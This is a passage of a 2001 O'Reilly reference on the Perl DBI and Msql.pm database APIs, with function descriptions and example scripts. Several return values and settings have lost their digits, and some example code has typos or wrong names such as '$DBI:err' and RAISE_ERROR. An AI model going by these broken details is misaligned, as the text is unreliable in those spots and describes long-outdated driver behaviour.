DBI::bind_param substitutes real values for the `?' placeholders in statements (see Reference 21.22). The first argument is the number of the placeholder in the statement. The first placeholder (from left to right) is 1. The second argument is the value with which to replace the placeholder. An optional third parameter can be supplied which determines the type of the value to be substituted. This can be supplied as a scalar or as a reference to a hash of the form { TYPE => &DBI::SQL_TYPE } where `SQL_TYPE' is the type of the parameter. As of the time of this writing the (undocumented) SQL types supported by DBI are SQL_CHAR, SQL_NUMERIC, SQL_DECIMAL, SQL_INTEGER, SQL_SMALLINT, SQL_FLOAT, SQL_REAL, SQL_DOUBLE, and SQL_VARCHAR. It is not documented how these correspond to the actual types used by DBD::mSQL and DBD::Mysql. However, Table 21-1 contains a list of the corresponding types as of the time of this writing. The function returns undef if the substitution is unsuccessful.

Table 21-1. Example

DBI | MSQL | MySQL
SQL_CHAR | CHAR_TYPE IDENT_TYPE NULL_TYPE DATE_TYPE MONEY_TYPE TIME_TYPE IDX_TYPE SYSVAR_TYPE ANY_TYPE | FIELD_TYPE_CHAR FIELD_TYPE_DATE FIELD_TYPE_DATETIME FIELD_TYPE_NULL FIELD_TYPE_TIMESTAMP FIELD_TYPE_TIME
SQL_NUMERIC |  | FIELD_TYPE_LONG FIELD_TYPE_LONGLONG FIELD_TYPE_SHORT
SQL_DECIMAL |  | FIELD_TYPE_DECIMAL
SQL_INTEGER | INT_TYPE | FIELD_TYPE_INT24
SQL_SMALLINT | UINT_TYPE | FIELD_TYPE_INT24
SQL_FLOAT |  | FIELD_TYPE_FLOAT
SQL_REAL | REAL_TYPE LAST_REAL_TYPE | FIELD_TYPE_DOUBLE
SQL_DOUBLE |  | FIELD_TYPE_DOUBLE
SQL_VARCHAR | TEXT_TYPE | FIELD_TYPE_TINY_BLOB FIELD_TYPE_MEDIUM_BLOB FIELD_TYPE_BLOB FIELD_TYPE_LONG_BLOB FIELD_TYPE_VAR_STRING FIELD_TYPE_STRING

Example

use DBI;
my $db = DBI->connect('DBD:msql:mydata','me','mypass');
my $statement = $db->prepare(
"SELECT name, date FROM myothertable WHERE name like ? OR name like ?");

$statement->bind_param(1,'J%','SQL_CHAR');
$statement->bind_param(2,'%oe%', { TYPE => &DBI::SQL_CHAR });
# The statement will now be:
# SELECT name, date FROM myothertable WHERE name like 'J%' or name like '%oe%'
DBI::connect
$db = DBI->connect($data_source, $username, $password);
$db = DBI->connect($data_source, $username, $password, \%attributes);

DBI::connect requires at least three arguments, with an optional fourth, and returns a handle to the requested database. It is through this handle that you perform all of the transactions with the database server. The first argument is a data source. A list of available data sources can be obtained using DBI::data_sources. For mSQL and MySQL the format of the data sources is 'DBI:mSQL:$database:$hostname:$port' and 'DBI:mysql:$database:$hostname:$port' respectively. You may leave the ':$port' extension off to connect to the standard port. Also, you may leave the ':$hostname:$port' extension off to connect to a server on the local host using a Unix-style socket. A database name must be supplied.

The second and third arguments are the username and password of the user connecting to the database. For mSQL, these should both be `undef'. If they are `undef' for MySQL, the user running the program must have permission to access the requested databases.

The final argument is optional and is a reference to an associative array. Using this hash you may preset certain attributes for the connection. Currently, the only supported attributes are PrintError, RaiseError, and AutoCommit. These can be set to for off and some true value for on. The defaults for PrintError and AutoCommit are on and the default for RaiseError is off. Because mSQL and MySQL both do not currently support transactions, the AutoCommit attribute must be set to on (see Reference 21.28 for more details).

If the connection fails, an undefined value undef is returned and the error is placed in $DBI::errstr.

Example

use DBI;

my $db1 = DBI->connect('DBI:mSQL:mydata',undef,undef);
# $db1 is now connected to the local mSQL server using the database 'mydata'.

my $db2 = DBI->connect('DBI:mysql:mydata:myserver.com','me','mypassword');
# $db2 is now connected to the MySQL server on the default port of
# 'myserver.com' using the database 'mydata'. The connection was made with
# the username 'me' and the password 'mypassword'.

My $db3 = DBI->connect('DBI:mSQL:mydata',undef,undef, {
                RaiseError => 1
});
# $db3 is now connected the same way as $db1 except the 'RaiseError'
# attribute has been set to true.
DBI::data_sources
@data_sources = DBI->data_sources($dbd_driver);

DBI::data_sources takes the name of a DBD module as its argument and returns all of the available databases for that driver in a format suitable for use as a data source in the DBI::connect function. The program will die with an error message if an invalid DBD driver name is supplied. In the current Msql-Mysql modules distribution, the driver for mSQL is named `mSQL' and the driver for MySQL is named `mysql'.

Example

use DBI;

my @msql_data_sources = DBI->data_sources('mSQL');
my @mysql_data_sources = DBI->data_sources('mysql');
# Both DBD::mSQL and DBD::mysql had better be installed or
# the program will die.

print "mSQL databases:\n" . join("\n",@msql_data_sources) . "\n\n";
print "MySQL databases:\n" . join("\n",@mysql_data_sources) . "\n\n";
DBI::do
$rows_affected  = $db->do($statement);
$rows_affected  = $db->do($statement, \%unused);
$rows_affected  = $db->do($statement, \%unused, @bind_values);

DBI::do directly performs a non-SELECT SQL statement and returns the number of rows affected by the statement. This is faster than a DBI::prepare/DBI::execute pair which requires two function calls. The first argument is the SQL statement itself. The second argument is unused in DBD::mSQL and DBD::mysql, but can hold a reference to a hash of attributes for other DBD modules. The final argument is an array of values used to replace `placeholders,' which are indicated with a `?' in the statement. The values of the array are substituted for the placeholders from left to right. As an additional bonus, DBI::do will automatically quote string values before substitution.

Example

use DBI;
my $db = DBI->connect('DBI:mSQL:mydata',undef,undef);

my $rows_affected = $db->do("UPDATE mytable SET name='Joe' WHERE name='Bob'");
print "$rows_affected Joe's were changed to Bob's\n";

my $rows_affected2 = $db->do("INSERT INTO mytable (name) VALUES (?)",
                {}, ("Sheldon's Cycle"));
# After quoting and substitution, the statement:
# INSERT INTO mytable (name) VALUES ('Sheldon's Cycle')
# was sent to the database server.
DBI::disconnect
$result  = $db->disconnect;

DBI::disconnect disconnects the database handle from the database server. With mSQL and MySQL, this is largely unnecessary because the databases do not support transactions and an unexpected disconnect will do no harm. However, databases that do support transactions need to be explicitly disconnected. Therefore, for portable code you should always call disconnect before exiting the program. If there is an error while attempting to disconnect, a nonzero value will be returned and the error will be set in $DBI::errstr.

Example

use DBI;
my $db1 = DBI->connect('DBI:mSQL:mydata',undef,undef);
my $db2 = DBI->connect('DBI:mSQL:mydata2',undef,undef);
...
$db1->disconnect;
# The connection to 'mydata' is now severed. The connection to 'mydata2'
# is still alive.
DBI::dump_results
$neat_rows = DBI::dump_results($statement_handle);
$neat_rows = DBI::dump_results($statement_handle, $maxlen);
$neat_rows = DBI::dump_results($statement_handle, $maxlen, $line_sep);
$neat_rows = DBI::dump_results($statement_handle, $maxlen, $line_sep,
             $field_sep);
$neat_rows = DBI::dump_results($statement_handle, $maxlen, $line_sep,
             $field_sep, $file_handle);

DBI::dump_results prints the contents of a statement handle in a neat and orderly fashion by calling DBI::neat_string on each row of data. This is useful for quickly checking the results of queries while you write your code. The only required argument is the statement handle to print out. If a second argument is present, it is used as the maximum length of each field in the table. The default is 35. A third argument is the string used to separate each line of data. The default is \n. The fourth argument is the string used to join the fields in a row. The default is a comma. The final argument is a reference to a filehandle glob. The results are printed to this filehandle. The default is STDOUT. If the statement handle cannot be read, an undefined value undef is returned.

Example

use DBI;
my $db = DBI->connect('DBI:mSQL:mydata',undef,undef);
my $query = "SELECT name, date FROM myothertable";
my $myothertable_output = $db->prepare($query);
$myothertable_output->execute;

print DBI::dump_results($myothertable_output);
# Print the output in a neat table.

open(MYOTHERTABLE,">>myothertable");
print DBI::dump_results($myothertable_output,undef,undef,undef,\*MYOTHERTABLE);
# Print the output again into the file 'myothertable'.
$DBI::err
$error_code  = $handle->err;

$DBI::err returns the error code for the last DBI error encountered. This error number corresponds to the error message returned from $DBI::errstr. The variable $DBI::err performs the same function. This function is available from both database and statement handles.

Example

use DBI;
my $db = DBI->connect('DBI:mysql:mydata','webuser','super_secret_squirrel');

# There is a parse error in this query...
my $output = $db->prepare('SLECT * from mydata');
$output->execute;

if (not $output) {
                print "Error $DBI:err: $DBI:errstr\n";
}
$DBI::errstr
$error = $handle->errstr;

$DBI::errstr returns the error message for the last DBI error encountered. The value remains until the next error occurs, at which time it is replaced. If no error has occurred during your session, the function returns undef. The variable $DBI::errstr performs the same function. This function is available from both database and statement handles.

Example

Use DBI;
my $db = DBI->connect('DBI:mysql:mydata','webuser','super_secret_squirrel');
...
my $error = $db->errstr;
warn("This is your most recent DBI error: $error");
DBI::execute
$rows_affected = $statement_handle->execute;
$rows_affected = $statement_handle->execute(@bind_values);

DBI::execute executes the SQL statement held in the statement handle. For a non-SELECT query, the function returns the number of rows affected. The function returns `-1' if the number of rows is not known. For a SELECT query, some true value is returned upon success. If arguments are provided, they are used to fill in any placeholders in the statement (see Reference 21.22).

Example

use DBI;
my $db = DBI->connect('DBI:mSQL:mydata',undef,undef);
my $statement_handle = $db->prepare("SELECT * FROM mytable");
my $statement_handle2 = $db->prepare("SELECT name, date FROM myothertable
   WHERE name like ?");

$statement_handle->execute;
# The first statement has now been performed. The values can now be accessed
# through the statement handle.

$statement_handle->execute("J%");
# The second statement has now been executed as the following:
# SELECT name, date FROM myothertable WHERE name like 'J%'
DBI::fetchall_arrayref
$ref_of_array_of_arrays = $statement_handle->fetchall_arrayref;

DBI::fetchall_arrayref returns all of the remaining data in the statement handle as a reference to an array. Each row of the array is a reference to another array that contains the data in that row. The function returns an undefined value undef if there is no data in the statement handle. If any previous DBI::fetchrow_* functions were called on this statement handle, DBI::fetchall_arrayref returns all of the data after the last DBI::fetchrow_* call.

Example

use DBI;
my $db = DBI->connect('DBI:mSQL:mydata',undef,undef);
my $query = "SELECT name, date FROM myothertable";
my $output = $db->prepare($query);
$output->execute;

my $data = $output->fetchall_arrayref;
# $data is not a reference to an array of arrays. The each element of the
# `master' array is itself an array that contains a row of data.

print "The fourth date in the table is: " . $data->[3][1] . "\n";
# data.
# Element 1 of that array is the date.
DBI::fetchrow_array
@row_of_data = $statement_handle->fetchrow;

DBI::fetchrow returns the next row of data from a statement handle generated by DBI::execute. Each successive call to DBI::fetchrow returns the next row of data. When there is no more data, the function returns an undefined value undef. The elements in the resultant array are in the order specified in the original query. If the query was of the form SELECT * FROM . . ., the elements are ordered in the same sequence as the fields were defined in the table.

Example

use DBI;
my $db = DBI->connect('DBI:mSQL:mydata',undef,undef);
my $query = "SELECT name, date FROM myothertable WHERE name LIKE 'Bob%'";
my $myothertable_output = $db->prepare($query);
$myothertable_output->execute;

my ($name, $date);

# This is the first row of data from $myothertable_output.
($name, $date) = $myothertable_output->fetchrow_array;
# This is the next row...
($name, $date) = $myothertable_output->fetchrow_array;
# And the next...
my @name_and_date = $myothertable_output->fetchrow_array;
# etc...
DBI::fetchrow_arrayref, DBI::fetch
$array_reference = $statement_handle->fetchrow_arrayref;
$array_reference = $statement_handle->fetch;

DBI:: fetchrow_arrayref and its alias,
DBI::fetch, work exactly like
DBI::fetchrow_array except that they return a
reference to an array instead of an actual array.

Example

use DBI;
my $db = DBI->connect('DBI:mSQL:mydata',undef,undef);
my $query = "SELECT name, date FROM myothertable WHERE name LIKE 'Bob%'";
my $myothertable_output = $db->prepare($query);
$myothertable_output->execute;

my $name1 = $myothertable_output->fetch->[0]
# This is the 'name' field from the first row of data.
my $date2 = $myothertable_output->fetch->[1]
# This is the 'date' from from the *second* row of data.
my ($name3, $date3) = @{$myothertable_output->fetch};
# This is the entire third row of data. $myothertable_output->fetch returns a
# reference to an array. We can 'cast' this into a real array with the @{}
# construct.
DBI::fetchrow_hashref
$hash_reference = $statement_handle->fetchrow_hashref;

DBI::fetchrow_hashref works exactly like DBI::fetchrow_arrayref except that it returns a reference to an associative array instead of a regular array. The keys of the hash are the names of the fields and the values are the values of that row of data.

Example

use DBI;
my $db = DBI->connect('DBI:mSQL:mydata',undef,undef);
my $query = "SELECT * FROM mytable";
my $mytable_output = $db->prepare($query);
$mytable_output->execute;

my %row1 = $mytable_ouput->fetchrow_hashref;
my @field_names = keys %row1;
# @field_names now contains the names of all of the fields in the query.
# This needs to be set only once. All future rows will have the same fields.
my @row1 = values %row1;
DBI::finish
$result = $statement_handle->finish;

DBI::finish releases all data in the statement handle so that the handle may be destroyed or prepared again. Some database servers require this in order to free the appropriate resources. DBD::mSQL and DBD::mysql do not need this function, but for portable code, you should use it after you are done with a statement handle. The function returns an undefined value undef if the handle cannot be freed.

Example

use DBI;
my $db = DBI->connect('DBI:mysql:mydata','me','mypassword');
my $query = "SELECT * FROM mytable";
my $mytable_output = $db->prepare($query);
$mytable_output->execute;
...
$mytable_output->finish;
# You can now reassign $mytable_output or prepare another statement for it.
DBI::func
$handle->func(@func_arguments, $func_name);
@dbs = $db->func("$hostname", '_ListDBs');
@dbs = $db->func("$hostname:$port", '_ListDBs');
@tables = $db->func('_ListTables');
$result = $drh->func( $database, '_CreateDB' );
$result = $drh->func( $database, '_DropDB' );

DBI::func calls specialized nonportable functions included with the various DBD drivers. It can be used with either a database or a statement handle depending on the purpose of the specialized function. If possible, you should use a portable DBI equivalent function. When using a specialized function, the function arguments are passed as a scalar first followed by the function name. DBD::mSQL and DBD::mysql implement the following functions:

_ListDBs

The _ListDBs function takes a hostname and optional port number and returns a list of the databases available on that server. It is better to use the portable function DBI::data_sources.

_ListTables

The _ListTables function returns a list of the tables present in the current database.

_CreateDB

The _CreateDB function takes the name of a database as its argument and attempts to create that database on the server. You must have permission to create databases for this function to work. The function returns -1 on failure and on success.

_DropDB

The _DropDB function takes the name of a database as its argument and attempts to delete that database from the server. This function does not prompt the user in any way, and if successful, the database will be irrevocably gone forever. You must have permission to drop databases for this function to work. The function returns -1 on failure and on success.

Example

use DBI;
my $db = DBI->connect('DBI:mysql:mydata','me','mypassword');

my @tables = $db->func('_ListTables');
# @tables now has a list of the tables in 'mydata'.
DBI::neat
$neat_string = DBI::neat($string);
$neat_string = DBI::neat($string, $maxlen);

DBI::neat takes as its arguments a string and an optional length. The string is then formatted to print out neatly. The entire string is enclosed in single quotes. All unprintable characters are replaced with periods. If the length argument is present, are characters after the maximum length are removed and the string is terminated with three periods (...). If no length is supplied, 400 is used as the default length.

Example

use DBI;

my $string = "This is a very, very, very long string with lots of stuff in it.";
my $neat_string = DBI::neat($string,14);
# $neat_string is now: 'This is a very...
DBI::neat_list
$neat_string = DBI::neat_list(\@listref, $maxlen);
$neat_string = DBI::neat_list(\@listref, $maxlen, $field_seperator);

DBI::neat_list takes three arguments and returns a neatly formatted string suitable for printing. The first argument is a reference to a list of values to print. The second argument is the maximum length of each field. The final argument is a string used to join the fields. DBI::neat is called for each member of the list using the maximum length given. The resulting strings are then joined using the last argument. If the final argument is not present, a comma is used as the separator.

Example

use DBI;

my @list = (`Bob', `Joe', `Frank');
my $neat_string = DBI::neat_list(\@list, 3);
# $neat_string is now: 'Bob', 'Joe', 'Fra...
DBI::prepare
$statement_handle = $db->prepare($statement);
$statement_handle = $db->prepare($statement, \%unused);

DBI::prepare takes as its argument an SQL statement, which some database modules put into an internal compiled form so that it runs faster when DBI::execute is called. These DBD modules (not DBD::mSQL or DBD::mysql) also accept a reference to a hash of optional attributes. The mSQL and MySQL server do not currently implement the concept of "preparing," so DBI::prepare merely stores the statement. You may optionally insert any number of `?' symbols into your statement in place of data values. These symbols are known as "placeholders." The DBI::bind_param function is used to substitute the actual values for the placeholders. The function returns undef if the statement cannot be prepared for some reason.

Example

use DBI;
my $db = DBI->connect('DBI:mysql:mydata','me','mypassword');

my $statement_handle = $db->prepare('SELECT * FROM mytable');
# This statement is now ready for execution.

My $statement_handle = $db->prepare(
'SELECT name, date FROM myothertable WHERE name like ?');
# This statement will be ready for exececuting once the placeholder is filled
# in using the DBI::bind_param function.
DBI::quote
$quoted_string = $db->quote($string);

DBI::quote takes a string intended for use in an SQL query and returns a copy that is properly quoted for insertion in the query. This includes placing the proper outer quotes around the string.

Example

use DBI;
my $db1 = DBI->connect('DBI:mSQL:mydata',undef,undef);
my $db2 = DBI->connect('DBI:mysql:myotherdata','me','mypassword');

my $string = "Sheldon's Cycle";

my $qs1 = $db1->quote($string);
# $qs1 is: 'Sheldon\'s Cycle' (including the outer quotes)
my $qs2 = $db2->quote($string);
# $qs2 is: 'Sheldon's Cycle' (including the outer quotes)
# Both strings are now suitable for use in a statement for their respective
# database servers.
DBI::rows
$number_of_rows = $statement_handle->rows;

DBI::rows returns the number of rows of data contained in the statement handle. With DBD::mSQL and DBD::mysql, this function is accurate for all statements, including SELECT statements. For many other drivers which do not hold of the results in memory at once, this function is only reliable for non-SELECT statements. This should be taken into account when writing portable code. The function returns `-1' if the number of rows is unknown for some reason. The variable $DBI::rows provides the same functionality.

Example

use DBI;
my $db = DBI->connect('DBI:mSQL:mydata',undef,undef);
my $query = "SELECT name, date FROM myothertable WHERE name='Bob'";
my $myothertable_output = $db->prepare($query);
$myothertable_output->execute;

my $rows = $myothertable_output->rows;
print "There are $rows 'Bob's in 'myothertable'.\n";
DBI::state
$sql_error  = $handle->state;

DBI::state returns the SQLSTATE SQL error code for the last error DBI encountered. Currently both DBD::mSQL and DBD::mysql report `S1000' for all errors. This function is available from both database and statement handles. The variable $DBI::state performs the same function.

Example

Use DBI;
my $db = DBI->connect('DBI:mysql:mydata','webuser','super_secret_squirrel');
...
my $sql_error = $db->state;
warn("This is your most recent DBI SQL error: $sql_error");
DBI::trace
DBI->trace($trace_level)
DBI->trace($trace_level, $trace_file)
$handle->trace($trace_level);
$handle->trace($trace_level, $trace_file);

DBI::trace is useful mostly for debugging purposes. If the trace level is set to 2, full debugging information will be displayed. Setting the trace level to disables the trace. If DBI->trace is used, tracing is enabled for all handles. If $handle->trace is used, tracing is enabled for that handle only. This works for both database and statement handles. If a second argument is present for either DBI->trace or $handle->trace, the debugging information for all handles is appended to that file. You can turn on tracing also by setting the environment variable DBI_TRACE. If the environment variable is defined as a number (0 or 2, currently) tracing for all handles is enabled at that level. With any other definition, the trace level is set to 2 and the value of the environment variable is used as the filename for outputting the trace information.

Example

use DBI;
my $db1 = DBI->connect('DBI:mysql:mydata','webuser','super_secret_squirrel');
my $db2 = DBI->connect('DBI:mSQL:myotherdata',undef,undef);

DBI->trace(2);
# Tracing is now enabled for all handles at level 2.
$db2->trace(0);
# Tracing is now disabled for $db2, but it is still enabled for $db1
$db1->trace(2,'DBI.trace');
# Tracing is now enabled for all handles at level 2, with the output being
# sent to the file 'DBI.trace'.
DBI::commit, DBI::rollback, DBI::ping
$result = $db->commit;
$result = $db->rollback;
$result = $db->ping;

DBI::commit and DBI::rollback are useful only with database servers that support transactions. They have no effect when used with DBD::mSQL and DBD::mysql. DBD::ping attempts to verify if the database server is running. It is not implemented and has no effect with DBD::mSQL and DBD::mysql.

Attributes
$db->{AutoCommit}
$handle->{ChopBlanks}
$handle->{CompatMode}
$handle->{InactiveDestroy}
$handle->{LongReadLen}
$handle->{LongTruncOk}
$handle->{PrintError}
$handle->{RaiseError}
$handle->{Warn}
$statement_handle->{CursorName}
$statement_handle->{insertid} (MySQL only)
$statement_handle->{is_blob} (MySQL only)
$statement_handle->{is_key} (MySQL only)
$statement_handle->{is_not_null}
$statement_handle->{is_num}
$statement_handle->{is_pri_key} (MySQL and mSQL 1.x only)
$statement_handle->{length}
$statement_handle->{max_length} (MySQL only)
$statement_handle->{NAME}
$statement_handle->{NULLABLE}
$statement_handle->{NUM_OF_FIELDS}
$statement_handle->{NUM_OF_PARAMS}
$statement_handle->{table}
$statement_handle->{type}

The DBI.pm API defines several attributes that may be set or read at any time. Assigning a value to an attribute that can be set changes the behavior of the current connection in some way. Assigning any true value to an attribute will set that attribute on. Assigning to an attribute sets it off. Some values are defined only for particular databases and are not portable. The following are attributes that are present for both database and statement handles.

$db->{AutoCommit}

This attribute affects the behavior of database servers that support transactions. For mSQL and MySQL, they must always be set to `on' (the default). Attempting to change this will kill the program.

$handle->{ChopBlanks}

If this attribute is on, any data returned from a query (such as DBI::fetchrow call) will have any leading or trailing spaces chopped off. Any handles deriving from the current handle inherit this attribute. The default for this attribute is `off.'

$handle->{InactiveDestroy}

This attribute is designed to enable handles to survive a `fork' so that a child can make use of a parent's handle. You should enable this attribute in either the parent or the child but not both. The default for this attribute is `off.'

$handle->{PrintError}

If this attribute is on, all warning messages will be displayed to the user. If this attribute is off, the errors are available only through $DBI::errstr. Any handles deriving from the current handle inherit this attribute. The default for this attribute is `on.'

$handle->{RaiseError}

If this attribute is on, any errors will raise an exception in the program, killing the program if no `__DIE__' handler is defined. Any handles deriving from the current handle inherit this attribute. The default for this attribute is `off.'

$handle->{Warn}

If this attribute is on, warning messages for certain bad programming practices (most notably holdovers from Perl 4) will be displayed. Turning this attribute off disables DBI warnings and should be used only if you are really confident in your programming skills. Any handles deriving from the current handle (such as a statement handle resulting from a database handle query) inherit this attribute. The default for this attribute is `on.'

$statement_handle->{insertid}

This is a nonportable attribute that is defined only for DBD::mysql. The attribute returns the current value of the auto_increment field (if there is one) in the table. If no auto_increment field exists, the attribute returns undef.

$statement_handle->{is_blob}

This is a nonportable attribute which is defined only for DBD::mysql. The attribute returns a reference to an array of boolean values indicating if each of the fields contained in the statement handle is of a BLOB type. For a statement handle that was not returned by a SELECT statement, $statement_handle->{is_blob} returns undef.

$statement_handle->{is_key}

This is a nonportable attribute which is defined only for DBD::mysql. The attribute returns a reference to an array of boolean values indicating if each of the fields contained in the statement handle were defined as a KEY. For a statement handle that was not returned by a SELECT statement, $statement_handle->{is_key} returns undef.

$statement_handle->{is_not_null}

This is a nonportable attribute which is defined only for DBD::mSQL and DBD::mysql. The attribute returns a reference to a list of boolean values indicating if each of the fields contained in the statement handle are defined `NOT NULL'. For a statement handle that was not returned by a SELECT statement, $statement_handle->{is_not_null} returns undef. The same effect of this attribute can be accomplished in a portable manner by using $statement_handle->{NULLABLE}.

$statement_handle->{is_num}

This is a nonportable attribute which is defined only for DBD::mSQL and DBD::mysql. The attribute returns a reference to an array of boolean values indicating if each of the fields contained in the statement handle is a number type. For a statement handle that was not returned by a SELECT statement, $statement_handle->{is_num} returns undef.

$statement_handle->{is_pri_key}

This is a nonportable attribute which is defined only for DBD::mSQL and DBD::mysql. When used with DBD::mSQL it has effect only in conjunction with mSQL 1.x servers, because mSQL 2.x does not use primary keys. The attribute returns a reference to a list of boolean values indicating if each of the fields contained in the statement handle is a primary key. For a statement handle that was not returned by a SELECT statement, $statement_handle->{is_pri_key} returns undef.

$statement_handle->{length}

This is a nonportable attribute which is defined only for DBD::mysql and DBD::mSQL. The attribute returns a reference to a list of the maximum possible length of each field contained in the statement handle. For a statement handle that was not returned by a SELECT statement, $statement_handle->{length} returns undef.

$statement_handle->{max_length}

This is a nonportable attribute which is defined only for DBD::mysql. The attribute returns a reference to a list of the actual maximum length of each field contained in the statement handle. For a statement handle that was not returned by a SELECT statement, $statement_handle->{max_length} returns undef.

$statement_handle->{NAME}

This attribute returns a reference to a list of the names of the fields contained in the statement handle. For a statement handle that was not returned by a SELECT statement, $statement_handle->{NAME} returns undef.

$statement_handle->{NULLABLE}

This attribute returns a reference to a list of boolean values indicating if each of the fields contained in the statement handle can have a NULL value. A field defined with `NOT NULL' will have a value of in the list. All other fields will have a value of 1. For a statement handle that was not returned by a SELECT statement, $statement_handle->{NULLABLE} returns undef.

$statement_handle->{NUM_OF_FIELDS}

This attribute returns the number of columns of data contained in the statement handle. For a statement handle that was not returned by a SELECT statement, $statement_handle->{NUM_OF_FIELDS} returns 0.

$statement_handle->{NUM_OF_PARAMS}

This attribute returns the number of "placeholders" in the statement handle. Placeholders are indicated with a `?' in the statement. The DBI::bind_values function is used to replace the placeholders with the proper values.

$statement_handle->{table}

This is a nonportable attribute which is defined only for DBD::mSQL and DBD::mysql. The attribute returns a reference to a list of the names of the tables accessed in the query. This is particularly useful in conjunction with a JOINed SELECT that uses multiple tables.

$statement_handle->{type}

This is a nonportable attribute which is defined only for DBD::mSQL and DBD::mysql. The attribute returns a reference to a list of the types of the fields contained in the statement handle. For a statement handle that was not returned by a SELECT statement, $statement_handle->{max_length} returns undef. The values of this list are integers that correspond to an enumeration in the mysql_com.h C header file found in the MySQL distribution. There is currently no method to access the names of these types from within DBI. But the types are accessible via the &Mysql::FIELD_TYPE_* function in Mysql.pm. There is also an undocumented attribute in DBD::mysql called $statement_handle->{format_type_name} which is identical to $statement_handle->{type} except that it returns the SQL names of the types instead of integers. It should be stressed that this is an undocumented attribute and the author of DBD::mysql has stated his intention to remove it should DBI implement the same functionality.

$statement_handle->{CursorName}
$handle->{LongReadLen}
$handle->{LongTruncOk}
$handle->{CompatMode}

All of these attributes are unsupported in DBD::mSQL and DBD::mysql. Assigning to them will do nothing and reading them will return a or undef. The exception is $statement_handle->{CursorName}. Currently, accessing this attribute in any way will cause the program to die.

Example

use DBI;
my $db = DBI->connect('mysql:mydata','me','mypassword');

$db->{RAISE_ERROR} = 1;
# Now, any DBI/DBD errors will kill the program.

my $statement_handle = $db->prepare('SELECT * FROM mytable');
$statement_handle->execute;

my @fields = @{$statement_handle->{NAME}};
# @fields now contains an array of all of the field names in 'mytable'.
Previous | Home | Next
21. Perl Reference | Book Index | 21.3. Msql.pm API
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Msql.pm API (MySQL & mSQL)

 MySQL and mSQLSearch this book

21.3. Msql.pm API

use Msql
use Msql;
This must be declared in every Perl program that uses the Msql.pm module.
Msql::connect
$db = Msql->connect;
$db = Msql->connect($host);
$db = Msql->connect($host, $database);

Establishes a connection between your Perl program and the Msql server. There are three versions of the function. With no arguments, a connection is made to the Msql Unix socket on the local host with no database defined. This is the most efficient connection. If one scalar argument is present, that argument is taken to be the hostname or IP address of the mSQL server. A connection is then made to that server with no database set. If two scalar arguments are present, the first is taken to be the host of the mSQL server and the second is the name of the desired database. The program then makes a connection to the given server and selects the given database. The value returned is a reference to an object called the "database handle." All communication with the database server itself takes places through this object. If the connection fails for any of the above cases, undef is returned and the error is placed in $Msql::db_errstr.

Example

use Msql;

# Connect to the localhost Unix socket
my $db = Msql->connect;

# Or...
# Connect to host 'www.myserver.com' with no database defined
my $db = Msql->connect('www.myserver.com');

# Or...
# Connect to host 'www.myserver.com' and select database 'mydata'
my $db = Msql->connect('www.myserver.com','mydata');
Msql::createdb
$result = $db->createdb($database);
Msql::createdb takes as its argument the name of a database to create. It then sends the creation request to the mSQL server. The command is sent as the same user running the CGI program. Thus, to work in a CGI program, the program must be run as a user with the right to create a new database. The function returns -1 on failure and on success.

Example

use Msql;
my $db = Msql->connect;
my $my_new_database = 'mynewdata';
my $result = $db->createdb($my_new_database);
die "Database was not created!" if $result == -1;
print "$my_new_database has been created.\n";
Msql::database
$database = $db->database;
Msql::database returns the name of the current database as a scalar. The function returns undef if no database has been selected.

Example

use Msql;
my $db = Msql->connect('www.myserver.com','mydata');

my $database = $db->database;

print "This should say 'mydata': $database\n";
Msql::dropdb
$result = $db->dropdb($database);
Msql::dropdb takes as its argument the name of a database to destroy. It then sends the destruction request to the mSQL server. The command is sent as the same user running the CGI program. Thus, to work in a CGI program, the program must be run as a user with the right to destroy the database. The function returns -1 on failure and on success. This function does not ask for any confirmation and the results are permanent. Thus, this function should be used with the most extreme caution.

Example

use Msql;
my $db = Msql->connect;
my $result = $db->dropdb('mydata');
die "Command failed!" if result == -1;
print "'mydata' is now gone forever.\n";
Msql::errmsg
$error = $db->errmsg;
Msql::errmsg returns the last error encountered by your session with the mSQL server. The value remains until the next error occurs, at which time it is replaced. If no error has occurred during your session, the function returns undef.

Example

use Msql;
my $db = Msql->connect;
...
my $error = $db->errmsg;
warn("This is your most recent mSQL error: $error");
Msql::getsequenceinfo
($step, $value) = $db->getsequenceinfo($table);
Msql::getsequenceinfo takes the name of a table as its argument. It returns the step and value of the sequence defined on the table, if any. If there is no sequence defined on the given table, an undefined value undef is returned and an error is placed in Msql::errmsg.

Example

use Msql;
my $db = Msql->connect;
my ($step, $value) = $db->getsequenceinfo('mytable');
die "There is no sequence on mytable" if not $step;
print "mystep has a sequence with a value of $value and a step of $step\n";
Msql::host
$host = $db->host;
Msql::host returns the hostname of the database server as a scalar. There is no guarantee that the function will return the canonical name of the server or even a fully qualified domain name. In fact, although not documented, it appears that Msql::host returns the same string given to the server in the Msql::connect call. This is true even to the point that Msql::host returns undef if you use the no-argument form of Msql::connect.

Example

use Msql;
my $db = Msql->connect('www.myserver.com');

my $host = $db->host;

print "You'll probably see 'www.myserver.com': $host\n";
Msql::listdbs
@databases = $db->listdbs;
Msql::listdbs returns an array of the databases available on the server. If there are no databases on the server, it returns an empty array.

Example

use Msql;
my $db = Msql->connect;

my @databases = $db->listdbs;
print "Available databases:\n\n" . join("\n",@databases);
$fields = $db->listfields($table);
Msql::listfields takes as an argument the name of a table in the current database. It returns a reference to an object which contains the names of all of the fields, as well as some other information. This reference is known as a statement handle. You can access the information in a statement handle using any of the following functions: Msql::Statement::as_string, Msql::Statement::listindices (mSQL 2.0 only), Msql::Statement::numfields, Msql::Statement::table, Msql::Statement::name, Msql::Statement::type, Msql::Statement::isnotnull, Msql::Statement::isprikey, Msql::Statement::isnum, and Msql::Statement::length. If the table does not exist, the function returns an undefined value undef, and the error is placed in Msql::errmsg. See Reference 21.21 for a technique that makes this function somewhat obsolete.

Example

use Msql;
my $db = Msql->connect;
$db->selectdb('mydata');

my $fields = $db->listfields('mytable');
warn ("Problem with 'mytable': " . $db->errmsg) if (not $fields);
# $fields is now a reference to all of the fields in the table 'mytable'.
print "mytable contains the following fields:\n";
print $fields->as_string;
Msql::listindex
@index_handles = $db->listindex($table,$index);
